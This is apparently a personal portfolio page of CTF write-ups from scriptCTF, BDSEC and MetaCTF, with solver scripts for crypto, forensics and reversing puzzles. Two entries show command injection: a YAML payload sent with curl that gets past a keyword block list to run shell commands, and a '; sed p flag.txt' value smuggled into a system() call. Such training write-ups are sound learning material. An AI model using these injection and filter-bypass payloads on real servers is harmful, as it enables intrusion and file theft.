Introduction
Highlights
Project
Write-ups
Certificates
Other Activities

Summary Practice

Practice Writeups

These are just the writeups of about 25 challenges I’ve tried at MetaCTF.

Download here

scriptCTF 2025 / Weight: 24.70

Mod

Description:

Just a simple modulo challenge

Information provided:

Server's code:


#!/usr/local/bin/python3
import os
secret = int(os.urandom(32).hex(),16)
print("Welcome to Mod!")
num=int(input("Provide a number: "))
print(num % secret)
guess = int(input("Guess: "))
if guess==secret:
    print(open('flag.txt').read())
else:
    print("Incorrect!")
                    

Solution:

I saw num = int(input()) so both positive and negative number was accepted

With properties of module, if I have mod = a % b, I can get a = b*c + mod with c = a/b

Follow that, I put num = -1 and I thought that I could get secret = mod + 1 with mod was printed

Flag: scriptCTF{-1_f0r_7h3_w1n_4a3f7db1_a74b01dd41e5}

Note: If use other negative number, it will make more confusing when calculate

Substract

Description:

The image size is 500x500. You might want to remove some stuff... Note: Some may call it guessy!

Information provided:

Challenge provided a file "coordinates.txt" with each line was a coordinates (x,y)

Solution:

"The image size is 500x500" so I thought that I could create a full white image with that size and each coordinate in `txt` file was a black dot.

However, when I finished, I got full black image → There were several coordinates which duplicated. Therefore, I had to remove them:


from collections import Counter
def remove_all_duplicates(input_file, output_file):
    counter = Counter()
    with open(input_file, "r") as f:
        for line in f:
            line = line.strip()
            if not line:
                continue
            line = line.replace("(", "").replace(")", "")
            try:
                x, y = map(int, line.split(","))
                counter[(x, y)] += 1
            except ValueError:
                continue
  
    with open(output_file, "w") as f:
        for coord, count in counter.items():
            if count == 1:  # Chỉ lưu tọa độ xuất hiện đúng 1 lần
                f.write(f"({coord[0]},{coord[1]})\n")
    print(f"✅ Done. Save at {output_file}")
if __name__ == "__main__":
    remove_all_duplicates("coordinates.txt", "new_coordinatess.txt")                        
                    

After that, I printed black dot into white image:


from PIL import Image, ImageDraw
  
def load_coordinates(filename, size=500):
    coords = []
    with open(filename, "r") as f:
        for line in f:
            line = line.strip()
            if not line:
                continue
            line = line.replace("(", "").replace(")", "")
            try:
                x, y = map(int, line.split(","))
                if 0 <= x < size and 0 <= y < size:
                    coords.append((x, y))
            except ValueError:
                continue
    return coords

  
def draw_coordinates(coords, size=500, outfile="output.png"):
    img = Image.new("RGB", (size, size), (0,0, 0))
    draw = ImageDraw.Draw(img)
    for x, y in coords:
        draw.point((x, y), fill=(255, 255, 255))
  
    img.save(outfile)
    print(f"✅ Done {outfile}, with {len(coords)} coordinates.")
    
if __name__ == "__main__":
    coords = load_coordinates("new_coordinates.txt", size=500)
    draw_coordinates(coords, size=500, outfile="final.png")
                    

Flag: scriptCTF{5ub7r4c7_7h3_n01s3}

Note: In received image, character "5" look like "6" but base on name of challenge "substract" I can guess it because "5" → "S"

Sums

Description:

Find the sum of nums[i] for i in [l, r] (if there are any issues with input/output format, plz open a ticket)

Information provided:

Server's code:


#!/usr/bin/env python3
import random
import subprocess
import sys
import time

start = time.time()

n = 123456

nums = [str(random.randint(0, 696969)) for _ in range(n)]

print(' '.join(nums), flush=True)

ranges = []
for _ in range(n):
    l = random.randint(0, n - 2)
    r = random.randint(l, n - 1)
    ranges.append(f"{l} {r}") #inclusive on [l, r] 0 indexed
    print(l, r)

big_input = ' '.join(nums) + "\n" + "\n".join(ranges) + "\n"

proc = subprocess.Popen(
    ['./solve'],
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE,
    text=True
)

stdout, stderr = proc.communicate(input=big_input)

out_lines = stdout.splitlines()
ans = [int(x) for x in out_lines[:n]]

urnums = []
for _ in range(n):
    urnums.append(int(input()))

if ans != urnums:
    print("wawawawawawawawawa")
    sys.exit(1)

if time.time() - start > 10:
    print("tletletletletletle")
    sys.exit(1)

print(open('flag.txt', 'r').readline())
                    

Solutions:

Server do not check any except "ans == urnums" so at that time I thought I had to know what "./solve" printed

So I could use this code:


# pip install pwntools

from pwn import *
import sys
  
HOST, PORT = "play.scriptsorcerers.xyz", 10105
n = 123456  # theo script gốc
  
def recv_until_have_n_ints(r):
    """Đọc nhiều dòng cho đến khi gom đủ n số ở phần nums đầu tiên."""
    buf = b""
    while True:
        # server thường gửi nums thành 1 dòng rất dài; nhưng để chắc ăn, gom đến khi đủ n số
        chunk = r.recvline(timeout=60)
        if not chunk:
            break
        buf += chunk
        tokens = buf.split()
        if len(tokens) >= n:
            # giữ lại đúng n số đầu, phần dư (nếu có) trả lại cho stream xử lý tiếp
            nums = list(map(int, tokens[:n]))
            leftover = b" ".join(tokens[n:]) + b"\n" if len(tokens) > n else b""
            return nums, leftover
    raise RuntimeError("Không nhận đủ nums từ server")
  
def main():
    r = remote(HOST, PORT)
  
     1) Nhận nums (đôi khi server có banner/giới thiệu, cứ đọc cho đến khi gom đủ n số)
    nums, leftover = recv_until_have_n_ints(r)
  
    # 2) Nhận tiếp n dòng ranges (có thể một phần đã nằm trong leftover)
    ranges = []
    # ưu tiên xử lý phần dư trước
    if leftover.strip():
        for line in leftover.strip().split(b"\n"):
            if not line.strip():
                continue
            l, rr = map(int, line.split())
            ranges.append((l, rr))
  
    while len(ranges) < n:
        line = r.recvline(timeout=60)
        if not line:
            break
        line = line.strip()
        if not line:
            continue
        l, rr = map(int, line.split())
        ranges.append((l, rr))
  
    if len(nums) != n or len(ranges) != n:
        print(f"Thiếu dữ liệu: len(nums)={len(nums)}, len(ranges)={len(ranges)}")
        r.close()
        sys.exit(1)
  
    # 3) Prefix sum
    prefix = [0]*(n+1)
    s = 0
    for i, v in enumerate(nums, 1):
        s += v
        prefix[i] = s
  
    # 4) Tính đáp án cho từng (l, r)
    out_lines = []
    for l, rr in ranges:
        out_lines.append(str(prefix[rr+1] - prefix[l]))
    payload = "\n".join(out_lines) + "\n"
  
    # 5) Gửi lại toàn bộ một lần (nhanh và chắc ăn)
    r.send(payload.encode())
  
    # 6) Nhận flag
    try:
        print(r.recvall(timeout=30).decode(errors="ignore"))
    finally:
        r.close()
  
if __name__ == "__main__":
    main()
                    

In Terminal tab of VSCode:


[x] Opening connection to play.scriptsorcerers.xyz on port 10105
[x] Opening connection to play.scriptsorcerers.xyz on port 10105: Trying 34.174.160.24
[+] Opening connection to play.scriptsorcerers.xyz on port 10105: Done
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 42B
[+] Receiving all data: Done (42B)
[*] Closed connection to play.scriptsorcerers.xyz port 10105
scriptCTF{1_w4n7_m0r3_5um5_fad96246f38a}
                    

Flag: scriptCTF{1_w4n7_m0r3_5um5_fad96246f38a}

pdf

Description:

so sad cause no flag in pdf :(

Information provided:

Challenge provided a pdf file with this: "thx for comming but no flag here :)"

Solution:

Because "so sad cause no flag in pdf :(" so at that time I thought I had to open this pdf file with other to get other file and `binwalk` was the best approach


mduc7@MinhDuc:/mnt/d/project/PythonProject/WU-ScriptCTF/pdf$ binwalk challenge.pdf

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PDF document, version: "1.4"
283           0x11B           Zlib compressed data, default compression
1521          0x5F1           Copyright string: "copyright/ordfeminine 172/logicalnot/.notdef/registered/macron/degree/plusminus/twosuperior/threesuperior/acute/mu 183/periodcen"
                    

From that result, I saw pdf file had other file in it so I wanted to open it


mduc7@MinhDuc:/mnt/d/project/PythonProject/WU-ScriptCTF/pdf$ binwalk -e challenge.pdf

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PDF document, version: "1.4"
283           0x11B           Zlib compressed data, default compression
1521          0x5F1           Copyright string: "copyright/ordfeminine 172/logicalnot/.notdef/registered/macron/degree/plusminus/twosuperior/threesuperior/acute/mu 183/periodcen"
                    

Added "-e" to extract pdf file with "binwalk" and created a new folder which contained "zlib" file. After that, at file "11B" - where had information of "11b.ZLIB"

Opened and get flag

Flag: scriptCTF{pdf_s7r34m5_0v3r_7w17ch_5tr34ms}

Enchant

Description:

I was playing minecraft, and found this strange enchantment on the enchantment table. Can you figure out what it is? Wrap the flag in scriptCTF{}

Information provided:

Challenge provided a file with string: "ᒲ╎リᒷᓵ∷ᔑ⎓ℸ ̣ ╎ᓭ⎓⚍リ"

Solution:

Challenge told that this string related to Minecraft and enchantment table. I found on Internet, the enchantment table use Standard Galactic Alphabet (SGA) which was a hieroglyphic system, each SGA character equivalent to Latinh character

So I had to convert that string into SGA → Translate SGA to Latinh → Get flag

To convert that string, I used a online tool: https://www.linestarve.com/tools/mojibake/ and default settings

Decoded string: ᒲ╎リᒷᓵ∷ᔑ⎓ℸ ̣ ╎ᓭ⎓⚍リ

Used other online tool to translate: https://www.dcode.fr/standard-galactic-alphabet

Translated string: MINECRAFTISFUN

Flag: scriptCTF{MINECRAFTISFUN}

Secure Server

Description:

John Doe uses this secure server where plaintext is never shared. Our Forensics Analyst was able to capture this traffic and the source code for the server. Can you recover John Doe's secrets?

Information provided:

Server's code:


import os
from pwn import xor
print("With the Secure Server, sharing secrets is safer than ever!")
enc = byte.fromhex(input("Enter the secret, XORed by your key (in hex): ").strip())
key = os.urandom(32)
enc2 = xor(enc,key).hex()
print(f"Double encrypted secret (in hex): {enc2}")
dec = bytes.fromhex(input("XOR the above with your key again (in hex): ").strip())
secret = xor(dec,key)
print("Secret received!")
                    

Additionally, challenge provided a `.pcap` file which included some data exchanged between server and user

Solution:

At that time, I saw server code was very simple with only XOR and 2 keys:

1. origin XOR key_user = enc

2. enc XOR key_server = enc2

3. enc2 XOR key_user = dec

4. dec XOR key_server = secret

Open pcap file and find the packet 6, 8, 10 had data of these strings, copied it ad Hex dump and pasted to Cypherchef


enc = 151e71ce4addf692d5bac83bb87911a20c39b71da3fa5e7ff05a2b2b0a83ba03
enc2 = e1930164280e44386b389f7e3bc02b707188ea70d9617e3ced989f15d8a10d70
dec = 87ee02c312a7f1fef8f92f75f1e60ba122df321925e8132068b0871ff303960e
                    

I used a simple Python script to find flag:


import pwn as xor


enc_hex  = "151e71ce4addf692d5bac83bb87911a20c39b71da3fa5e7ff05a2b2b0a83ba03" 

enc2_hex = "e1930164280e44386b389f7e3bc02b707188ea70d9617e3ced989f15d8a10d70"

dec_hex  = "87ee02c312a7f1fef8f92f75f1e60ba122df321925e8132068b0871ff303960e" 

enc = bytes.fromhex(enc_hex)
enc2 = bytes.fromhex(enc2_hex)
dec = bytes.fromhex(dec_hex)
  
key_server = b''
for i,j in zip(enc,enc2):
    key_server += bytes([i^j])
print(f"Key server: {key_server.hex()}")
secret = b''
for i,j in zip(dec, key_server):
    secret += bytes([i^j])
print(f"Secret: {secret}") 
                    

Flag: scriptCTF{x0r_1s_not_s3cur3!!!!}

dischal

Description:

i accidentally vanished my flag, can u find it for me

Information provided:

Challenge provided a .img file which was a disk image

Solution:

I had a deep see in this disk image with `fdisk`:


fdisk -l stick.img
                    

Result:


Disk stick.img: 24 MiB, 25165824 bytes, 49152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00000000
                    

Created mapping:


sudo kpartx -av stick.img

sudo mkdir -p /mnt/stick

sudo mount -o loop stick.img /mnt/stick2
                    

After that, accessed to the folder "stick2" but nothing related to flag in here but at "random_thoughts.txt" I saw: "i wonder where i put the flag. did i palm it somewhere?". The word "palm" in magic related to hide something in hand so I thought I had been fooled with this approach

Accessed again to folder which saved "stick.img", I used "hexdump" and saw below at the end:


00062e00  1f 8b 08 08 ca 78 79 68  00 03 66 6c 61 67 2e 74  |.....xyh..flag.t|
00062e10  78 74 00 2b 4e 2e ca 2c  28 71 0e 71 ab 36 8c cf  |xt.+N..,(q.q.6..|
00062e20  31 28 33 8e cf 35 31 33  4c 8e 37 2f 32 4c ce 36  |1(3..513L.7/2L.6|
00062e30  ad e5 02 00 0b a1 b6 db  1f 00 00 00 00 00 00 00  |................|
00062e40  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
                    

Based on that, I used "binwalk":

Result:


DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
404992        0x62E00         gzip compressed data, has original file name: "flag.txt", from Unix, last modified: 2025-07-17 22:27:22
                    

This revealed that "stick.img" had a ".gz" file start at offset "404992" and origin name was "flag.txt" → Clearly this was what I need to open

Used "dd" to extract "gzip" from disk image:


dd if=stick.img bs=1 skip=404992 of=flag.gz
                    

Flag: scriptCTF{1_l0v3_m461c_7r1ck5}

RSA-1

Description:

Yú Tóngyī send a message to 3 peoples with unique modulus. But he left it vulnerable. Figure out :)

Information provided:


n1 = 156503881374173899106040027210320626006530930815116631795516553916547375688556673985142242828597628615920973708595994675661662789752600109906259326160805121029243681236938272723595463141696217880136400102526509149966767717309801293569923237158596968679754520209177602882862180528522927242280121868961697240587
c1 = 77845730447898247683281609913423107803974192483879771538601656664815266655476695261695401337124553851404038028413156487834500306455909128563474382527072827288203275942719998719612346322196694263967769165807133288612193509523277795556658877046100866328789163922952483990512216199556692553605487824176112568965

n2 = 81176790394812943895417667822424503891538103661290067749746811244149927293880771403600643202454602366489650358459283710738177024118857784526124643798095463427793912529729517724613501628957072457149015941596656959113353794192041220905793823162933257702459236541137457227898063370534472564804125139395000655909
c2 = 40787486105407063933087059717827107329565540104154871338902977389136976706405321232356479461501507502072366720712449240185342528262578445532244098369654742284814175079411915848114327880144883620517336793165329893295685773515696260299308407612535992098605156822281687718904414533480149775329948085800726089284

n3 = 140612513823906625290578950857303904693579488575072876654320011261621692347864140784716666929156719735696270348892475443744858844360080415632704363751274666498790051438616664967359811895773995052063222050631573888071188619609300034534118393135291537302821893141204544943440866238800133993600817014789308510399
c3 = 100744134973371882529524399965586539315832009564780881084353677824875367744381226140488591354751113977457961062275480984708865578896869353244823264759044617432862876208706282555040444253921290103354489356742706959370396360754029015494871561563778937571686573716714202098622688982817598258563381656498389039630

e = 3
                    

Character in this challenge is Chinese and this challenge relate to RSA so I think about CRT (Chinese Remainder Theorem)

Solution:

"e" so small so I thought I could use m_{i}=c^{1/e} to get 3 numbers and combined it to get flag but this was I got:


Bi....pT2p.@.'Xy51.. 3..d.8d&.fgS40...B.#%2r6.."(t.#D"I$.&8.V6..Y.P.p2X.(.' IY..67PW#.is.b9. q.7..u4.EvFS.6!qG`&3'f.g.`..%.5..q..U3..R.`.2..GR..P(XE.c..B$.
                    

So I had to use other approach. At first, I checked whether each pair of these numbers had "gcd = 1" with Python:


def la_nguyen_to_cung_nhau(a, b, c):
    # Count GCD
    gcd_ab = math.gcd(a, b)
    gcd_abc = math.gcd(gcd_ab, c)
    return gcd_abc == 1
  
if la_nguyen_to_cung_nhau(c1, c2, c3):
    print("Correct")
else:
    print("Incorrect")
                    

And result revealed that "Correct"

From this point, I found I could use `CRT (Chinese Remainder Theorem)` : If a,b,c have "gcd(a,b,c) = 1", then this system of residual equations has a unique solution modulo their product: N=a.b.c

According that, I got:


N=1786409259724871543109974890194321592399590231455787269427317051765963260917566525238725563506301211910494676008939419421730429883710311626694384193057346102870417830083208238353975460992827262327959538494906758602557434314130958157310583224713237293318566369040898788487966022114698274593911472572933743186977114744840161942064379002917683887727835595588159837838775505449054437676945058703145773084374444947096225297752719607741172313839958226309731562988750940806116363582751731727461017493745795643992439806678840104092904421513229652904103320791826726825611657663383710011675590809537286574818410024561858604049345496343298486556228720738926202514684858933996192454524011054228165339352159653894727322672799307486357888029338313624410759207392645999902149127915008183444598627689242854664608456315227808819606464444471584644052947229468096355728253393790052462450015358604511769574746330706637999585802243192251736584617
                    

After that, found M_{i} = N / n_{i}

Next: y_i \equiv M_i^{-1} \pmod{n_i} \to M_i \cdot y_i \equiv 1 \pmod{n_i}

At last: C \equiv (c_1 M_1 y_1 + c_2 M_2 y_2 + c_3 M_3 y_3) \mod N

Because, this challenge didnt have a big message so I could guest C = m^3

Used a simple Python code for all steps:


from Crypto.Util.number import long_to_bytes, inverse

import math

from gmpy2 import iroot

n1 = 156503881374173899106040027210320626006530930815116631795516553916547375688556673985142242828597628615920973708595994675661662789752600109906259326160805121029243681236938272723595463141696217880136400102526509149966767717309801293569923237158596968679754520209177602882862180528522927242280121868961697240587

c1 = 77845730447898247683281609913423107803974192483879771538601656664815266655476695261695401337124553851404038028413156487834500306455909128563474382527072827288203275942719998719612346322196694263967769165807133288612193509523277795556658877046100866328789163922952483990512216199556692553605487824176112568965
  
n2 = 81176790394812943895417667822424503891538103661290067749746811244149927293880771403600643202454602366489650358459283710738177024118857784526124643798095463427793912529729517724613501628957072457149015941596656959113353794192041220905793823162933257702459236541137457227898063370534472564804125139395000655909

c2 = 40787486105407063933087059717827107329565540104154871338902977389136976706405321232356479461501507502072366720712449240185342528262578445532244098369654742284814175079411915848114327880144883620517336793165329893295685773515696260299308407612535992098605156822281687718904414533480149775329948085800726089284
  
n3 = 140612513823906625290578950857303904693579488575072876654320011261621692347864140784716666929156719735696270348892475443744858844360080415632704363751274666498790051438616664967359811895773995052063222050631573888071188619609300034534118393135291537302821893141204544943440866238800133993600817014789308510399

c3 = 100744134973371882529524399965586539315832009564780881084353677824875367744381226140488591354751113977457961062275480984708865578896869353244823264759044617432862876208706282555040444253921290103354489356742706959370396360754029015494871561563778937571686573716714202098622688982817598258563381656498389039630
  
e = 3

# Find gcd(a,b,c)
def la_nguyen_to_cung_nhau(a, b, c):
    # Tính GCD của ba số
    gcd_ab = math.gcd(a, b)
    gcd_abc = math.gcd(gcd_ab, c)
    return gcd_abc == 1
  
if la_nguyen_to_cung_nhau(c1, c2, c3):
    print("Correct")
else:
    print("Incorrect")                     #Result was correct
  
mul = n1 * n2 * n3        # Count N
  
M1, M2, M3 = 0, 0, 0

M1 = mul// n1             # Count M_i

M2 = mul// n2

M3 = mul// n3
  
  
y1,y2,y3 = 0,0,0         # Count y_i
y1 = inverse(M1, n1)
y2 = inverse(M2, n2)
y3 = inverse(M3, n3)

  
C = c1 * y1 * M1 + c2 * y2 * M2 + c3 * y3 * M3
C = C % mul                                       # Count C 

# convert C to string to print easier
print(str(C))
  
# Giải mã C với e = 3
m, exact = iroot(C, 3)   # Find 3rd root
if exact:
    print("m =", m)      # Count m but m so big so I had to put its value it after 

m = 6043384257179851698402764196375123148896204465004932561416076042681453019986274768617287472758478984797562240169432633876557803963678627742607532956455442

plaintext = int.to_bytes(m, (m.bit_length() + 7) // 8, "big")

print(plaintext)
                    

Result: b"scriptCTF{y0u_f0und_mr_yu's_s3cr3t_m3g_12a4e4}\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12"

Flag: scriptCTF{y0u_f0und_mr_yu's_s3cr3t_m3g_12a4e4}

BDSec CTF 2025 / Weight: 16.63

Quantum Mirage

Description:

A classified transmission was intercepted during a quantum handshake exchange. The payload appears to be multi-layered and heavily obfuscated. Analysts believe that maybe multiple encryption layers are used, but it's unclear which ones are real and which are decoys.

Information provided:

Message: FL6gWSgGl71j8RANN2yzz9XckwawQ8MXqE7IAOVygOclZiHgi161L7s=

File: quantum.py

Solve:

See that this string is encoded by a simple algorithm, base on H and G function.

  • G(a,b) function create key via hashes(SHA-256, BLAKE2b, MD5, SHA1)
  • H(m,k) function use XOR with key, turn bit left 3 positions, XOR with strings from array X

Decode by Python script:


from Crypto.Util.number import *
import hashlib
import base64
X = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476,
     0xC3D2E1F0, 0x76543210, 0xFEDCBA98, 0x89ABCDEF]
def G(a, b):
    d = a
    for i in range(b):
        if i % 4 == 0:
            d = hashlib.sha256(d).digest()
        elif i % 4 == 1:
            d = hashlib.blake2b(d, digest_size=32).digest()
        elif i % 4 == 2:
            d = hashlib.md5(d).digest() * 2
        else:
            d = hashlib.sha1(d).digest() + d[:12]
    return d
def reverse_H(r2, k):
    q = bytearray()
    for i, s in enumerate(r2):
        # Undo XOR with X
        s1 = s ^ (X[i % len(X)] & 0xFF)
        # Undo rotation: s1 = ((s << 3) | (s >> 5)) & 0xFF
        s = ((s1 >> 3) | (s1 << 5)) & 0xFF
        # Undo XOR with key
        q.append(s ^ k[i % len(k)])
    return bytes(q)
# Decode base64 input
enc = "FL6gWSgGl71j8RANN2yzz9XckwawQ8MXqE7IAOVygOclZiHgi161L7s="
r2 = base64.b64decode(enc)
# Compute key
d = G(b"simple_seed_123", 5)
# Reverse H to get msg
msg = reverse_H(r2, d)
print(msg.decode())
                

Flag: BDSEC{0bfusc4t10n_c4nn0t_h1d3_b4d_cr7pt0}

Yeti Killer

Description:

The devs got lazy and decided to use a simple text-based configuration parser. Unfortunately, they also exposed it to the public. Can you exploit it and find the hidden flag?The server is expecting a plain text payload, but what happens when you send it some YAML?

Information provided:

File: player_file

Solve:

In sever.js I found:


const data = yaml.load(req.body);  
const command = data.command;
                    

if (command) {  
	exec(command, ...);  
}
                    

This reveal that sever use exec to excute the command (Remote Code Excution - RCE)

However this web block several commands and keywords


if (req.body.includes("flag") || req.body.includes("cat") || ...) {  
    return res.status(403).send("No flags!");  
}  
if (req.body.includes("\\") || req.body.includes("/") || ...) {  
    return res.status(403).send("Hacking attempt detected!");  
}
                    

So I cannot use: flag, cat, curl, wget, echo, /, \, <, !!

Therefore, I have to use curl


curl -X POST http://45.79.9.104:3000/ \
  -H "Content-Type: text/plain" \
  --data-binary $'command: |\n  F=f;L=l;A=a;G=g;T=t;X=x;\n  awk \x27{print}\x27 "$F$L$A$G.$T$X$T"'
                    

This can bypass the limitation of web and get the flag by using variables to put flag.txt

In this command, awk is a command work as cat but acceptable by this web, x27 is hexadecimal of ` in ASCII

Additionally, $F$L$A$G.$T$X$T combine together to get string "flag.txt"

Flag: BDSEC{094ae1350eefe059b84faa0bd9ce2588}

Riddle of the child

Question:

Read the poem in file below and find the date

Flag forrmat: BDSEC{dd_mm_yyyy}

Information provided:

File: Riddle-of-the-child.txt

Solve:

I think this date relate to a history event because:

  • It was then that a man arrived... → After this event, there is a huge time variation
  • The bells rang thirteen times at dusk → Signaling a supernatural phenomenon occurring
  • Timekeepers smashed their sundials → Time is upside down

In history, I remember that a Pope want to change from Julius calendar to Gregorian calendar (which use to now) in 1582

Because this change, in several regions, 4/10/1582 immediately followed by 15/10/1582 → 10 days disappeared

So the date which I have to find is: 4/10/1582

Flag: BDSEC{04_10_1582}

MetaCTF June 2025 Flash

Treasure Map

Description:

After several long years, you finally found yourself on board the digital buccaneer. You know the treasure must be close, but searching the ship's navigation hasn't helped at all! Can you steal the pirate's booty? Access the site here.

Information provided:

Site: here

Solve:

Find each tab Main Deck, Crew, Ship Detais, History I found "Smart explorers always check /sitemap.xml and /robots.txt first!"

So I think I can access "http://digitalbuccaneer.chals.mctf.io/robots.txt" or "http://digitalbuccaneer.chals.mctf.io/sitemap.xml" to find the flag and it works

When access to the sitemap.xml I see "SECRET TREASURE LOCATION - Do not tell the crew" with other link: http://digitalbuccaneer.chals.mctf.io/treasure-chamber

Access to this I found the flag

Flag: MetaCTF{y0u_f0und_7h3_tr34sur3_m4p_4nd_g0t_7h3_f14g}

Satellite Command

Description:

We're prototyping a new system for grabbing telemetry from our CubeSat, can you give it a quick test to make sure it's safe to run?

Information Provided:

Sever: kubenode.mctf.io 31008

File: SatCommand

Solve:

Use ltrace and strings I found that scan used ls and combine with user input string

system("ls -l ./satellite/" + user_input + " 2>/dev/null");

I think I can access to flag.txt by cat but it block user use several commands: cat, ls. cd, /,...

Therefore, I used other command sed which work as cat for line by line text but not banned

Additionally, I used ; instead / because / was banned

scan systems; sed p flag.txt

Result:


[DEBUG] Executing command: ls -l ./satellite/systems; sed -n p flag.txt 2>/dev/null
[SCANNING]: systems; sed -n p flag.txt
total 8
-rwxr-xr-x    1 nobody   nobody          18 Jun 26 21:38 power.dat
-rwxr-xr-x    1 nobody   nobody         157 Jun 26 21:38 system.log
MetaCTF{a7_l3a$t_r3al_c0mm4nd_4nd_c0ntr0l_u53s_3ncryp710n}
MetaCTF{a7_l3a$t_r3al_c0mm4nd_4nd_c0ntr0l_u53s_3ncryp710n}
                    

Flag: MetaCTF{a7_l3a$t_r3al_c0mm4nd_4nd_c0ntr0l_u53s_3ncryp710n}

MetaCTF July 2025 Flash

Working For Peanuts

Description:

I wanted to make a CTF challenge based on one of my favorite comic strips, but there wasn't much to go off of. I ended up making a kinda dusty looking crypto challenge, can you figure out what it's saying?

Information provided:

Image: here

Solve:

Easy recognize this is Pigpen cipher which can solve by draft on paper or use a simple tool on Internet

Flag: MetaCTF{COMICALLYDECODED}

Magical Meta

Description:

All the wizards keep one upping each other, now they're talking to each other about "Magic Bytes" whatever that means.... Anyway, they cast a spell on this image, and now I can't view it, can you cure this curse to recover the original image?

Download the corrupted image here.

You may want to use a hex editor tool. For example, check out HexEd.it. Try comparing this file to any other .jpg image.

Information provided:

Image: magical_meta.jpg

Solve:

Download the image, I got a jpg file and I could not open it by Photo on Windows

I used Hex.it for see what happened in this file and I found that the header of this file was replaced. This can be the reason why this file cannot read bu Windows

The header of a .jpg file is FF D8 FF E0 but in this file is 4D 45 54 41

There are 2 ways to change header of this file

First, I can use this command with WSL:

printf '\xFF\xD8\xFF\xE0' | dd of=magical_meta.jpg bs=1 seek=0 count=4 conv=notrunc

Second, I can use hexedit with WSL for easier

hexdedit magical_meta.jpg

After that I can use keyboard to change bytes what I want

Both ways give to me a image have a flag string on it

Flag: MetaCTF{solv1ng_th3_m4gical_m3ta}

Port Authority

Description:

Help! I was exploring a harbor and got lost. Can you help me figure out what's here?

Try scanning it to discover what's open. There's a common tool used for this that starts with "n."

Information provided:

Sever: here

Solve:

Base on recommend of question about port and starts with "n" → Use Nmap for find flag in open port

Use Nmap Zenmap GUI, I got this:


PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
8888/tcp open  sun-answerbook
                    

The suspicious port is 8888 so I connect to this port and easy to get flag

Flag: MetaCTF{harbor_clearance_granted}

Nothing To C Here

Description:

Move along, NOThing to see here, no flags in sight...

Information provided:

File: NothingToC

Solve:

Use Ghidra with Decompiler Explorer

This have a lot of lines but I found a function which the most valuable


undefined8 FUN_001010c0(void)

{
  int iVar1;
  time_t tVar2;
  char *pcVar3;
  size_t sVar4;
  undefined8 uVar5;
  byte *pbVar6;
  byte *pbVar7;
  long in_FS_OFFSET;
  byte local_138 [32];
  byte local_118 [28];
  byte local_fc [236];
  long local_10;
  
  pbVar6 = local_138;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_138[0] = 0xb2;
  local_138[1] = 0x9a;
  local_138[2] = 0x8b;
  local_138[3] = 0x9e;
  local_138[4] = 0xbc;
  local_138[5] = 0xab;
  local_138[6] = 0xb9;
  local_138[7] = 0x84;
  local_138[8] = 200;
  local_138[9] = 0x97;
  local_138[10] = 0x96;
  local_138[0xb] = 0xca;
  local_138[0xc] = 0xa0;
  local_138[0xd] = 0x96;
  local_138[0xe] = 0xca;
  local_138[0xf] = 0xa0;
  local_138[0x10] = 0x91;
  local_138[0x11] = 0xcf;
  local_138[0x12] = 0x8b;
  local_138[0x13] = 0xa0;
  local_138[0x14] = 0x8b;
  local_138[0x15] = 0x97;
  local_138[0x16] = 0xcc;
  local_138[0x17] = 0xa0;
  local_138[0x18] = 0x88;
  local_138[0x19] = 0xcb;
  local_138[0x1a] = 0x86;
  local_138[0x1b] = 0x82;
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  puts(" === NOTing To C Flag Checker === ");
  puts("Ready to check your flag? Let\'s see what you\'ve got!\n");
  printf("Enter the flag to check: ");
  pcVar3 = fgets((char *)local_118,0x100,stdin);
  if (pcVar3 == (char *)0x0) {
    puts("Hmm, seems like you\'re having trouble typing...");
    uVar5 = 1;
  }
  else {
    sVar4 = strcspn((char *)local_118,"\n");
    local_118[sVar4] = 0;
    sVar4 = strlen((char *)local_118);
    if (sVar4 == 0x1c) {
      pbVar7 = local_118;
      do {
        if (*pbVar6 != (byte)~*pbVar7) goto LAB_001011ba;
        pbVar7 = pbVar7 + 1;
        pbVar6 = pbVar6 + 1;
      } while (pbVar7 != local_fc);
      puts("\nCONGRATULATIONS!");
      printf("The flag is: %s\n",local_118);
    }
    else {
      printf("Oops! Your flag is %zu characters long, but I\'m looking for exactly %d characters.\n"
             ,sVar4,0x1c);
      puts("Maybe count your characters next time?");
LAB_001011ba:
      iVar1 = rand();
      switch(iVar1 % 6) {
      case 0:
        puts("Nice try, but that\'s NOT it!");
        break;
      case 1:
        puts("Hmm... that does NOT look right...");
        break;
      case 2:
        puts("NOT quite it! Keep trying!");
        break;
      case 3:
        puts("Incorrect! But do NOT give up!");
        break;
      case 4:
        puts("That\'s NOT the flag I\'m looking for!");
        break;
      case 5:
        puts("NOPE! This flag is NOT what I expected.");
      }
    }
    uVar5 = 0;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return uVar5;
}
                    

Read the code I found it use NOT bitwise to decode the flag

At first, it require user put a string 28 characters

After that, compare flag and user input with NOT bitwise

Flag save at local_138 and input save at local_118

The main compare part:


...
else {
    sVar4 = strcspn((char *)local_118,"\n");
    local_118[sVar4] = 0;
    sVar4 = strlen((char *)local_118);
    if (sVar4 == 0x1c) {
      pbVar7 = local_118;
      do {
        if (*pbVar6 != (byte)~*pbVar7) goto LAB_001011ba;   ->start compare
        pbVar7 = pbVar7 + 1;
        pbVar6 = pbVar6 + 1;
      } while (pbVar7 != local_fc);
      puts("\nCONGRATULATIONS!");
      printf("The flag is: %s\n",local_118);
    }
    else {
      printf("Oops! Your flag is %zu characters long, but I\'m looking for exactly %d characters.\n"
             ,sVar4,0x1c);
      puts("Maybe count your characters next time?");
                    

Each value of ~local_138 = local_118 → ~flag[i] = input[i] with i is "0x.."

So I can use a simple Python script to decode


local_138 = [
